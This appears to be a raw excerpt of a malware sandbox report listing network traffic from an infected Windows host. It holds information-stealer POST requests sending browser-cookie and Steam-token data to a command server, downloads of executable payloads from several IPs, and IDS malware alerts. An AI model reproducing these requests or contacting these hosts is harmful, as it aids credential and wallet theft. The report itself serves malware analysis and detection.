Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="message"wallets------GCGDGHCBGDHJJKECAECB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"files------GDGDHJJDGHCAAAKEHIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJDGIJJKEGIEBGCGDHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 44 47 49 4a 4a 4b 45 47 49 45 42 47 43 47 44 48 43 2d 2d 0d 0a Data Ascii: ------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIJDGIJJKEGIEBGCGDHCContent-Disposition: form-data; name="file"------FIJDGIJJKEGIEBGCGDHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="message"ybncbhylepme------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 62 31 37 66 34 37 64 38 64 64 33 66 34 66 33 61 36 35 30 37 62 62 34 63 36 36 30 65 36 32 37 35 35 62 37 64 30 64 36 31 38 64 38 66 32 38 62 66 39 32 37 63 30 33 36 36 39 37 39 35 62 36 31 36 31 37 66 35 38 34 66 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="token"cb17f47d8dd3f4f3a6507bb4c660e62755b7d0d618d8f28bf927c03669795b61617f584f------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBGCAAAAFBKEBFHJEGCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /clip/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005824001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005893001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49832 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49970 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50116 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50124 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.7:49744
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.7:50075
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50120 -> 212.87.244.196:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50120 -> 212.87.244.196:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFCCC60 PR_Recv,

1_2_6CFCCC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
